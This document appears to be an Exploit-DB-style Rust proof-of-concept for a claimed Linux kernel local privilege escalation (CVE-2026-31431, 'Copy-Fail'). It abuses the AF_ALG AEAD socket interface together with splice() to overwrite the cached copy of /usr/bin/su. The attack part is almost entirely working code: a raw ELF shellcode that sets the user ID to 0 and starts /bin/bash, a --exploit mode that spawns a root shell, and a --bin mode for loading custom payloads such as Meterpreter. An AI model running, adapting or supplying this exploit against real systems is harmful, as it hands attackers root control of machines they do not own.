* Exploit Title: Linux Kernel 5.4 - 6.8 - Local Privilege Escalation
* Google Dork: N/A
* Date: 2026-04-30
* Exploit Author: Long Fong Chan (https://github.com/iss4cf0ng)
* Vendor Homepage: https://www.kernel.org/
* Software Link: https://git.kernel.org/
* Version: Linux Kernel 5.4 - 6.8 (unpatched)
* Tested on: Ubuntu 22.04, Debian 12
*
* Description:
* Linux kernel AF_ALG (algif_aead) vulnerability allows local users
* to perform arbitrary file overwrite in page cache via splice()
* and AEAD crypto interface, leading to privilege escalation.
*
* This exploit overwrites /usr/bin/su in memory and spawns a root shell.
*
* Requirements:
* - Unprivileged local user
* - algif_aead module loaded
*
* Usage:
* --test Check vulnerability
* --exploit Spawn root shell
* --bin <file> Use custom payload
*/
use std::{env, fs, io};
use std::ffi::CString;
use std::fs::File;
use std::io::{Read, Write};
use std::os::unix::io::AsRawFd;
const TARGET_BINARY: &str = "/usr/bin/su";
const TEST_FILE: &str = "/tmp/.cve_test";
// Shellcode (/bin/bash)
/*
; https://filippo.io/linux-syscall-table/
db 0x7f, 'ELF', 2, 1, 1, 0 ; e_ident
dq 0 ; padding
dw 2 ; e_type (ET_EXEC)
dw 62 ; e_machine (EM_X86_64)
dd 1 ; e_version
dq 0x400078 ; e_entry (Entry point)
dq 0x40 ; e_phoff (Program Header Offset)
dq 0 ; e_shoff
dd 0 ; e_flags
dw 64 ; e_ehsize
dw 56 ; e_phentsize
dw 1 ; e_phnum
dw 0, 0, 0 ; s_header info
; Program Header
dd 1 ; p_type (PT_LOAD)
dd 5 ; p_flags (PF_R | PF_X)
dq 0 ; p_offset
dq 0x400000 ; p_vaddr
dq 0x400000 ; p_paddr
dq 0x9e ; p_filesz
dq 0x9e ; p_memsz
dq 0x1000 ; p_align
; Program
_start:
; setuid(0)
xor eax, eax ; clear eax
xor edi, edi ; edi = 0 (UID 0)
mov al, 105 ; syscall 105 (setuid)
syscall
; execve("/bin/bash", NULL, NULL)
lea rdi, [rel path] ; Load effective address of the string
xor esi, esi ; argv = NULL
cdq ; edx = 0 (envp = NULL)
mov al, 59 ; syscall 59 (execve)
syscall
; exit(0)
xor edi, edi
push 60
pop rax ; syscall 60 (exit)
syscall
path: db "/bin/bash", 0
*/
const BASH_SHELLCODE: &[u8] = &[
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05,
0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05, 0x31,
0xff, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00
];
unsafe fn inject_payload(fd: i32, payload: &[u8]) {
for i in (0..payload.len()).step_by(4) {
let mut chunk = [0u8; 4];
let end = std::cmp::min(i + 4, payload.len());
chunk[..end - i].copy_from_slice(&payload[i..end]);
do_kernel_injection(fd, i, &chunk);
if i % 40 == 0 {
io::stdout().flush().ok();
}
}
}
// Linux kernel injection
unsafe fn do_kernel_injection(target_fd: i32, t_idx: usize, chunk: &[u8]) {
let master_fd = libc::socket(38, libc::SOCK_SEQPACKET, 0);
let mut addr: [u8; 88] = [0; 88];
addr[0..2].copy_from_slice(&38u16.to_ne_bytes());
std::ptr::copy_nonoverlapping("aead".as_ptr(), addr.as_mut_ptr().add(2), 4);
let name = "authencesn(hmac(sha256),cbc(aes))";
std::ptr::copy_nonoverlapping(name.as_ptr(), addr.as_mut_ptr().add(24), name.len());
libc::bind(master_fd, addr.as_ptr() as _, 88);
let mut key = [0u8; 40];
key[0..8].copy_from_slice(&[0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10]);
libc::setsockopt(master_fd, 279, 1, key.as_ptr() as _, 40);
libc::setsockopt(master_fd, 279, 5, &4u32 as *const _ as _, 4);
let op_fd = libc::accept(master_fd, std::ptr::null_mut(), std::ptr::null_mut());
let mut cmsg_buf = [0u8; 128];
let mut data = [0u8; 8];
data[0..4].copy_from_slice(b"AAAA");
data[4..8].copy_from_slice(chunk);
let mut iov = libc::iovec { iov_base: data.as_mut_ptr() as _, iov_len: 8 };
let mut msg: libc::msghdr = std::mem::zeroed();
msg.msg_iov = &mut iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg_buf.as_mut_ptr() as _;
let mut p = cmsg_buf.as_mut_ptr();
let mut h1: libc::cmsghdr = std::mem::zeroed();
h1.cmsg_len = libc::CMSG_LEN(4) as _;
h1.cmsg_level = 279;
h1.cmsg_type = 3;
*(p as *mut libc::cmsghdr) = h1;
p = p.add(libc::CMSG_SPACE(4) as usize);
let mut h2: libc::cmsghdr = std::mem::zeroed();
h2.cmsg_len = libc::CMSG_LEN(20) as _;
h2.cmsg_level = 279;
h2.cmsg_type = 2;
*(p as *mut libc::cmsghdr) = h2;
*(libc::CMSG_DATA(p as _) as *mut u32) = 16;
p = p.add(libc::CMSG_SPACE(20) as usize);
let mut h3: libc::cmsghdr = std::mem::zeroed();
h3.cmsg_len = libc::CMSG_LEN(4) as _;
h3.cmsg_level = 279;
h3.cmsg_type = 4;
*(p as *mut libc::cmsghdr) = h3;
*(libc::CMSG_DATA(p as _) as *mut u32) = 8;
msg.msg_controllen = 32 + 16 + 16;
libc::sendmsg(op_fd, &msg, 0x8000);
let mut pipes = [0i32; 2];
libc::pipe(pipes.as_mut_ptr());
let mut off: i64 = 0;
libc::splice(target_fd, &mut off, pipes[1], std::ptr::null_mut(), t_idx + 4, 0);
libc::splice(pipes[0], std::ptr::null_mut(), op_fd, std::ptr::null_mut(), t_idx + 4, 0);
let mut drain = [0u8; 1024];
libc::recv(op_fd, drain.as_mut_ptr() as _, 1024, 0x40);
libc::close(op_fd); libc::close(master_fd);
libc::close(pipes[0]); libc::close(pipes[1]);
}
fn main() -> io::Result<()> {
let args: Vec<String> = env::args().collect();
println!("--------------------------------------------------");
println!(" CVE-2026-31431 Linux Copy-Fail Exploit (Rust) ");
println!("--------------------------------------------------");
if args.len() < 2 {
println!("Usage: {} [--test | --exploit | --bin <file>]", args[0]);
return Ok(());
}
match args[1].as_str() {
"--test" => {
// Test vulnerability
println!("[*] Mode: Vulnerability Testing");
let mut f = File::create(TEST_FILE)?;
f.write_all(&vec![b'A'; 64])?;
let target = File::open(TEST_FILE)?;
unsafe {
inject_payload(target.as_raw_fd(), b"HACK")
};
let mut res = vec![0u8; 4];
File::open(TEST_FILE)?.read_exact(&mut res)?;
if &res == b"HACK" {
println!("\x1b[31;1m[!] VULNERABLE!\x1b[0m");
}
else {
println!("[+] SAFE");
}
fs::remove_file(TEST_FILE).ok();
}
"--exploit" => {
// Vulnerability exploitation, provide interactive shell
println!("[*] Mode: Privilege Escalation (Default: /bin/bash)");
let target = File::open(TARGET_BINARY)?;
unsafe {
inject_payload(target.as_raw_fd(), BASH_SHELLCODE)
};
println!("\n[+] Spawning root shell...");
let cmd = CString::new("su").unwrap();
unsafe {
libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr());
}
}
"--bin" => {
// Load customized shellcode bin file, such as Meterpreter
if args.len() < 3 {
println!("[!] Error: Please specify a bin file.");
return Ok(());
}
let bin_path = &args[2];
println!("[*] Mode: Custom Shellcode Injection");
println!("[*] Loading: {}", bin_path);
let custom_payload = fs::read(bin_path)?;
let target = File::open(TARGET_BINARY)?;
unsafe {
inject_payload(target.as_raw_fd(), &custom_payload)
};
println!("\n[+] Injection complete. Executing {}...", TARGET_BINARY);
let cmd = CString::new("su").unwrap();
unsafe {
libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr());
}
}
_ => println!("[!] Unknown option.")
}
Ok(())
}